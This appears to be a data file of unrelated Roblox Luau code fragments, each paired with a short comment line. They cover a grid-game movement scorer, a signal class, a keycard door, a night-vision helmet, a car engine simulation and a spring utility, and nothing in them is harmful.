NewData.Position = v.Position + MoveDirection
-- you could check but this is the lazy way
NewData.IsAttacking = true
end
end
return NewTable
end
Self.GetOutsideSquares = function()
local Squares = {}
for i, Spot in pairs(Map) do
for i, v in pairs(MoveDirections) do
if not Self.CheckSquare(Spot+v) then
table.insert(Squares, Spot)
break
end
end
end
OutsidePositions = Squares
end
Self.IsOutsideSquare = function(Position, Squares)
if table.find(OutsidePositions, Vector3.new(Position.X,0,Position.Z)) then
return true
else
return false
end
end
Self.GetMoveInfo = function(EnemyTable, Depth, playerPos, SentDirections)
local Spots = {}
local PlayerPos = playerPos
local DangerSpots = Self.GetDangerSpots(EnemyTable)
local Loot = workspace.Loot:GetChildren()
local Closestloot = nil
local LootPos = nil
local ClosestLootDistance = math.huge
if #Loot~=0 then
for i, v in pairs(workspace.Loot:GetChildren()) do
local Distance = (v.PrimaryPart.Position - PlayerPos).Magnitude
if Distance < ClosestLootDistance then
Closestloot = v
ClosestLootDistance= Distance
end
end
LootPos = Closestloot.PrimaryPart.Position
end
local NewPos
for i, v in pairs(MoveDirections) do
DangerSpots = Self.GetDangerSpots(EnemyTable)
--PlayerPos = game.Players.LocalPlayer.Character.PrimaryPart.Position
local OriginPos = PlayerPos
local AttackDirection = OriginPos + v
--something wrong
NewPos = (not Self.CheckSquare(AttackDirection) or Self.GetEnemyAtPosition(AttackDirection, EnemyTable))and OriginPos or AttackDirection
local Directions
if SentDirections then
Directions = SentDirections
table.remove(Directions, 1)
end
local Directions = (not SentDirections and LootPos) and Pathfinding.GetDirections(PlayerPos, LootPos)
-- could check if there are still boxes
local IsDangerous = Self.CheckIfDangerSpot(NewPos, DangerSpots)
local Enemy = Self.GetEnemyAtPosition(AttackDirection, EnemyTable)
local TimesPositionReached = Self.PositionReachedAmount(NewPos)
local HasLoot = Closestloot and (Closestloot.PrimaryPart.Position - NewPos).Magnitude<3
local IsOutsideSquare = Self.IsOutsideSquare(NewPos)
local IsDirectionOfCrate = Directions and Directions[1] == v
-- make it realize that an enemy dies when it's attacked at 0 health
-- make this account for paladins
local AttackersOfPlayerSpot = Self.GetAttackersOfSpot(PlayerPos)
local CanAttackThoughRed = #AttackersOfPlayerSpot== 1 and AttackersOfPlayerSpot[1].Health.Value == 1 and AttackersOfPlayerSpot[1].PrimaryPart.Position == AttackDirection + Vector3.new(0, -AttackDirection.Y + AttackersOfPlayerSpot[1].PrimaryPart.Position.Y)
local Cost = (IsDangerous and not CanAttackThoughRed) and-10 or 0
Cost += TimesPositionReached*-0.1
Cost += IsOutsideSquare and -1 or 0
Cost += (Enemy and not IsDangerous) and 2 or 0
Cost += CanAttackThoughRed and 2 or 0
Cost += IsDirectionOfCrate and 4 or 0
Cost += HasLoot and 4 or 0
if Depth>0 then
Cost += Self.GetMoveInfo(Self.UpdateEnemies(EnemyTable), Depth-1, PlayerPos + v, Directions).Cost
end
local Data = {}
Data.Direction = v
Data.Cost = Cost
table.insert(Spots, Data)
end
local BestSpot = Self.GetBestCostingSpot(Spots)
table.insert(ExploredPositions, PlayerPos)
return BestSpot
end
Self.MovePlayer = function()
local PlayerPos = game.Players.LocalPlayer.Character.PrimaryPart.Position
PlayerPos = Vector3.new(math.floor(PlayerPos.X + 0.5), 0, math.floor(PlayerPos.Z + 0.5))
Self.GetOutsideSquares()
local MoveInfo = Self.GetMoveInfo(Self.GetEnemies(), 0, PlayerPos)
game.ReplicatedStorage.Events.Move:FireServer(MoveInfo.Direction.Unit)
end
return Self
end
|
-- Format params: methodName, ctorName
|
local ERR_NOT_INSTANCE = "Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"
function SignalStatic.new(signalName: string): Signal
local signalObj: Signal = {
Name = signalName,
Connections = {},
YieldingThreads = {}
}
return setmetatable(signalObj, SignalStatic)
end
local function NewConnection(sig: Signal, func: any): Connection
local connectionObj: Connection = {
Signal = sig,
Delegate = func,
Index = -1
}
return setmetatable(connectionObj, ConnectionStatic)
end
local function ThreadAndReportError(delegate: any, args: GenericTable, handlerName: string)
local thread = coroutine.create(function ()
delegate(unpack(args))
end)
local success, msg = coroutine.resume(thread)
if not success then
-- For the love of god roblox PLEASE add the ability to customize message type in output statements.
-- This "testservice" garbage at the start of my message is annoying as all hell.
TestService:Error(string.format("Exception thrown in your %s event handler: %s", handlerName, msg))
TestService:Checkpoint(debug.traceback(thread))
end
end
function SignalStatic:Connect(func)
assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Connect", "Signal.new()"))
local connection = NewConnection(self, func)
connection.Index = #self.Connections + 1
table.insert(self.Connections, connection.Index, connection)
return connection
end
function SignalStatic:Fire(...)
assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Fire", "Signal.new()"))
local args = table.pack(...)
local allCons = self.Connections
local yieldingThreads = self.YieldingThreads
for index = 1, #allCons do
local connection = allCons[index]
if connection.Delegate ~= nil then
-- Catch case for disposed signals.
ThreadAndReportError(connection.Delegate, args, connection.Signal.Name)
end
end
for index = 1, #yieldingThreads do
local thread = yieldingThreads[index]
if thread ~= nil then
coroutine.resume(thread, ...)
end
end
end
function SignalStatic:FireSync(...)
assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("FireSync", "Signal.new()"))
local args = table.pack(...)
local allCons = self.Connections
local yieldingThreads = self.YieldingThreads
for index = 1, #allCons do
local connection = allCons[index]
if connection.Delegate ~= nil then
-- Catch case for disposed signals.
connection.Delegate(unpack(args))
end
end
for index = 1, #yieldingThreads do
local thread = yieldingThreads[index]
if thread ~= nil then
coroutine.resume(thread, ...)
end
end
end
function SignalStatic:Wait()
assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Wait", "Signal.new()"))
local args = {}
local thread = coroutine.running()
table.insert(self.YieldingThreads, thread)
args = { coroutine.yield() }
table.removeObject(self.YieldingThreads, thread)
return unpack(args)
end
function SignalStatic:Dispose()
assert(getmetatable(self) == SignalStatic, ERR_NOT_INSTANCE:format("Dispose", "Signal.new()"))
local allCons = self.Connections
for index = 1, #allCons do
allCons[index]:Disconnect()
end
self.Connections = {}
setmetatable(self, nil)
end
function ConnectionStatic:Disconnect()
assert(getmetatable(self) == ConnectionStatic, ERR_NOT_INSTANCE:format("Disconnect", "private function NewConnection()"))
table.remove(self.Signal.Connections, self.Index)
self.SignalStatic = nil
self.Delegate = nil
self.YieldingThreads = {}
self.Index = -1
setmetatable(self, nil)
end
return SignalStatic
|
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
|
local door = script.Parent
local CanOpen1 = true
local CanClose1 = false
local clearance = {
["[SCP] Card-Omni"] = true,
["[SCP] Card-L5"] = true,
["[SCP] Card-L4"] = true,
["[SCP] Card-L3"] = true,
["[SCP] Card-L2"] = true,
["[SCP] Card-L1"] = true
}
--DO NOT EDIT PAST THIS LINE--
function openDoor()
for i = 1,(door.Size.z / 0.30) do
wait()
door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.30)
end
end
function closeDoor()
for i = 1,(door.Size.z / 0.30) do
wait()
door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.30)
end
end
script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
CanOpen1 = false
wait(0.75)
openDoor()
wait(1)
CanClose1 = true
elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
CanClose1 = false
wait(0.75)
closeDoor()
wait(1)
CanOpen1 = true
end
end)
|
--[[ Local Constants ]]
|
--
local VR_ANGLE = math.rad(15)
local VR_PANEL_SIZE = 512
local VR_ZOOM = 7
local VR_FADE_SPEED = 10 -- 1/10 second
local VR_SCREEN_EGDE_BLEND_TIME = 0.14
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local Lighting = game:GetService("Lighting")
|
--EDIT BELOW----------------------------------------------------------------------
|
settings.PianoSoundRange = 60
settings.KeyAesthetics = true
settings.PianoSounds = {
"714321897",
"714321981",
"714322052",
"714322096",
"714322161",
"715236879"
}
|
--[=[
@class ClientRemoteSignal
@client
Created via `ClientComm:GetSignal()`.
]=]
|
local ClientRemoteSignal = {}
ClientRemoteSignal.__index = ClientRemoteSignal
|
--function Util.guard(...)
-- local converted = {...}
-- assert(type(converted[#converted]) == "string", "Util.Guard Requires String as Last Arg")
-- for _, condition in pairs(converted) do
-- if not condition then
-- warn(converted[#converted])
-- return
-- end
-- end
--end
|
return Util
|
--//DEFAULT VALUES
|
local defexposure = game.Lighting.ExposureCompensation
local nvg
local onanim
local gui
local offanim
local config
local onremoved
local setting
local helmet
function removehelmet()
if plr.Character then
if onremoved then
onremoved:Disconnect()
end
animating = false
togglenvg(false)
actionservice:UnbindAction("nvgtoggle")
if gui then
gui:Destroy()
end
if helmet then
helmet:Destroy()
end
end
end
function oncharadded(newchar)
newchar:WaitForChild("Humanoid").Died:connect(function()
removehelmet()
end)
newchar.ChildAdded:connect(function(child)
local removebutton
if child.Name == "Helmet" then
helmet = child
gui = Instance.new("ScreenGui")
gui.IgnoreGuiInset = true
removebutton = Instance.new("TextButton")
removebutton.Text = "Helmet"
removebutton.Size = UDim2.new(.05,0,.035,0)
removebutton.TextColor3 = Color3.new(.75,.75,.75)
removebutton.Position = UDim2.new(.1,0,.3,0)
removebutton.BackgroundTransparency = 1
removebutton.BackgroundColor3 = Color3.fromRGB(124, 52, 38)
removebutton.Font = Enum.Font.SourceSansBold
removebutton.TextScaled = true
removebutton.TextTransparency = 1
removebutton.MouseButton1Down:connect(removehelmet)
removebutton.Parent = gui
gui.Parent = plr.PlayerGui
onremoved = child.AncestryChanged:Connect(function(_, parent)
if not parent then
removehelmet()
end
end)
end
local newnvg = child:WaitForChild("Up",.5)
if newnvg then
nvg = newnvg
config = require(nvg:WaitForChild("AUTO_CONFIG"))
setting = nvg:WaitForChild("NVG_Settings")
local noise = Instance.new("ImageLabel")
noise.BackgroundTransparency = 1
noise.ImageTransparency = 1
local overlay = noise:Clone()
overlay.Image = "rbxassetid://"..setting.OverlayImage.Value
overlay.Size = UDim2.new(1,0,1,0)
overlay.Name = "Overlay"
overlay.ZIndex = 2
local buttonpos = setting.RemoveButtonPosition.Value
removebutton.Position = UDim2.new(buttonpos.X,0,buttonpos.Y,0)
noise.Name = "Noise"
noise.AnchorPoint = Vector2.new(.5,.5)
noise.Position = UDim2.new(.5,0,.5,0)
noise.Size = UDim2.new(2,0,2,0)
overlay.Parent = gui
noise.Parent = gui
local info = config.tweeninfo
local function addtweens(base,extra)
if extra then
for _,tween in pairs(extra)do
table.insert(base,tween)
end
end
end
onanim = config.onanim
offanim = config.offanim
on_overlayanim = {
tweenservice:Create(game.Lighting,info,{ExposureCompensation = setting.Exposure.Value}),
tweenservice:Create(colorcorrection,info,{Brightness = setting.OverlayBrightness.Value,Contrast = .8,Saturation = -1,TintColor = setting.OverlayColor.Value}),
tweenservice:Create(gui.Overlay,info,{ImageTransparency = 0}),
tweenservice:Create(gui.Noise,info,{ImageTransparency = 0}),
}
off_overlayanim = {
tweenservice:Create(game.Lighting,info,{ExposureCompensation = defexposure}),
tweenservice:Create(colorcorrection,info,{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}),
tweenservice:Create(gui.Overlay,info,{ImageTransparency = 1}),
tweenservice:Create(gui.Noise,info,{ImageTransparency = 1}),
}
actionservice:BindAction("nvgtoggle",function() togglenvg(not nvgactive) return Enum.ContextActionResult.Pass end, true, Enum.KeyCode.N)
end
end)
end
plr.CharacterAdded:connect(oncharadded)
local oldchar = workspace:FindFirstChild(plr.Name)
if oldchar then
oncharadded(oldchar)
end
function playtween(tweentbl)
spawn(function()
for _,step in pairs(tweentbl) do
if typeof(step) == "number" then
wait(step)
else
step:Play()
end
end
end)
end
function applyprops(obj,props)
for propname,val in pairs(props)do
obj[propname] = val
end
end
function cycle(grain)
local label = gui.Noise
local source = grain.src
local newframe
repeat newframe = source[math.random(1, #source)];
until newframe ~= grain.last
label.Image = 'rbxassetid://'..newframe
local rand = math.random(230,255)
label.Position = UDim2.new(math.random(.4,.6),0,math.random(.4,.6),0)
label.ImageColor3 = Color3.fromRGB(rand,rand,rand)
grain.last = newframe
end
function togglenvg(bool)
if not animating and nvg then
nvgevent:FireServer()
gui.TextButton.Visible = not bool
animating = true
nvgactive = bool
if config.lens then
config.lens.Material = bool and "Neon" or "Glass"
end
if bool then
playtween(onanim)
delay(.75,function()
playtween(on_overlayanim)
spawn(function()
while nvgactive do
cycle(config.dark)
cycle(config.light)
wait(0.05)
end
end)
animating = false
end)
else
playtween(offanim)
delay(.5,function()
playtween(off_overlayanim)
animating = false
end)
end
end
end
nvgevent.OnClientEvent:connect(function(nvg,activate)
local twistjoint = nvg:WaitForChild("twistjoint")
local config = require(nvg.AUTO_CONFIG)
local lens = config.lens
if lens then
lens.Material = activate and "Neon" or "Glass"
end
playtween(config[activate and "onanim" or "offanim"])
end)
local lighting = game.Lighting
local rs = game.ReplicatedStorage
local autolighting = rs:WaitForChild("EnableAutoLighting")
if autolighting.Value then
function llerp(a,b,t)
return a*(1-t)+b*t
end
local minbrightness = rs:WaitForChild("MinBrightness").Value
local maxbrightness = rs:WaitForChild("MaxBrightness").Value
local minambient = rs:WaitForChild("MinAmbient").Value
local maxambient = rs:WaitForChild("MaxAmbient").Value
local minoutdoor = rs:WaitForChild("MinOutdoorAmbient").Value
local maxoutdoor = rs:WaitForChild("MaxOutdoorAmbient").Value
function setdaytime()
local newtime = lighting.ClockTime
local middaydiff = math.abs(newtime-12)
local f = (1-middaydiff/12)
lighting.Brightness = llerp(minbrightness,maxbrightness,f)
lighting.Ambient = minambient:lerp(maxambient,f)
lighting.OutdoorAmbient = minoutdoor:lerp(maxoutdoor,f)
end
game:GetService("RunService").RenderStepped:connect(setdaytime)
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
local sthrot = 0
--Apply Power
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
if _Tune.Aspiration ~= "Super" then
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*2))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
else
if _GThrot>sthrot then
sthrot=math.min(_GThrot,sthrot+_Tune.Sensitivity)
elseif _GThrot<sthrot then
sthrot=math.max(_GThrot,sthrot-_Tune.Sensitivity)
end
_Boost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot))
end
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = _GThrot * _GThrotShift
local tq = _OutTorque
--Apply AWD Vectoring
if _Tune.Config == "AWD" then
local bias = (_Tune.TorqueVector+1)/2
if v.Name=="FL" or v.Name=="FR" then
tq = tq*(1-bias)
elseif v.Name=="RL" or v.Name=="RR" then
tq = tq*bias
end
end
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
--[[ eslint import/export: 0]]
--[[ ROBLOX deviation: function overloads not handled
export function getPath<
Obj extends Template,
A extends keyof Obj,
B extends keyof Obj[A],
C extends keyof Obj[A][B],
D extends keyof Obj[A][B][C],
E extends keyof Obj[A][B][C][D],
>(obj: Obj, path: [A, B, C, D, E]): Obj[A][B][C][D][E];
export function getPath<
Obj extends Template,
A extends keyof Obj,
B extends keyof Obj[A],
C extends keyof Obj[A][B],
D extends keyof Obj[A][B][C],
>(obj: Obj, path: [A, B, C, D]): Obj[A][B][C][D];
export function getPath<
Obj extends Template,
A extends keyof Obj,
B extends keyof Obj[A],
C extends keyof Obj[A][B],
>(obj: Obj, path: [A, B, C]): Obj[A][B][C];
export function getPath<
Obj extends Template,
A extends keyof Obj,
B extends keyof Obj[A],
>(obj: Obj, path: [A, B]): Obj[A][B];
export function getPath<Obj extends Template, A extends keyof Obj>(
obj: Obj,
path: [A],
): Obj[A];
export function getPath<Obj extends Template>(
obj: Obj,
path: Array<string>,
): unknown;
]]
|
function getPath(template: Template, ref: Array<string>): any
local head = table.unpack(ref, 1, 1)
local tail = if #ref > 1 then { table.unpack(ref, 2) } else {}
if not Boolean.toJSBoolean(head) or template[head] == nil then
return template
end
return getPath(template[head] :: Template, tail)
end
exports.getPath = getPath
return exports
|
--for i,v in pairs(script.Parent.Plates:GetChildren()) do
-- v.SGUI.Sidepiece.Text = country
--end
--for i,v in pairs(script.Parent.Plates:GetChildren()) do
-- v.SGUI.Sidepiece.Emblem.Image = image
--end
--for i,v in pairs(script.Parent.Plates:GetChildren()) do
-- v.SGUI.Sidepiece.Emblem.Size = size
--end
--for i,v in pairs(script.Parent.Plates:GetChildren()) do
-- v.SGUI.Sidepiece.Emblem.Position = position
--end
| |
--[[
Creates a new spring.
]]
|
function Spring.new(initial, td, ts)
local d=td or 1
local s=ts or 1
local p0=initial or 0
local v0=0*p0
local p1=p0
local v1=v0
local t0=tick()
local selfmeta={}
local meta={}
function selfmeta.getpv()
return posvel(d,s,p0,v0,p1,v1,tick()-t0)
end
function selfmeta.setpv(p,v)
local time=tick()
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,v
p1,v1=tp,tv
t0=time
end
function selfmeta.settargetpv(tp,tv)
local time=tick()
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
p0,v0=p,v
p1,v1=tp,tv
t0=time
end
function selfmeta:accelerate(a)
local time=tick()
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,v+a
p1,v1=tp,tv
t0=time
end
function meta.__index(_self,index)
local time=tick()
if index=="p" or index=="position" then
local p,_v=posvel(d,s,p0,v0,p1,v1,time-t0)
return p
elseif index=="v" or index=="velocity" then
local _p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
return v
elseif index=="tp" or index=="t" or index=="targetposition" then
local tp,_tv=targposvel(p1,v1,time-t0)
return tp
elseif index=="tv" or index=="targetvelocity" then
local _tp,tv=targposvel(p1,v1,time-t0)
return tv
elseif index=="d" or index=="damper" then
return d
elseif index=="s" or index=="speed" then
return s
else
error("no value "..tostring(index).." exists")
end
end
function meta.__newindex(_self,index,value)
local time=tick()
if index=="p" or index=="position" then
local _p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=value,v
p1,v1=tp,tv
elseif index=="v" or index=="velocity" then
local p,_v=posvel(d,s,p0,v0,p1,v1,time-t0)
local tp,tv=targposvel(p1,v1,time-t0)
p0,v0=p,value
p1,v1=tp,tv
elseif index=="tp" or index=="t" or index=="targetposition" then
local p,v=posvel(d,s,p0,v0,p1,v1,time-t0)
local _tp,tv=targposvel(p1,v1,time-t0)
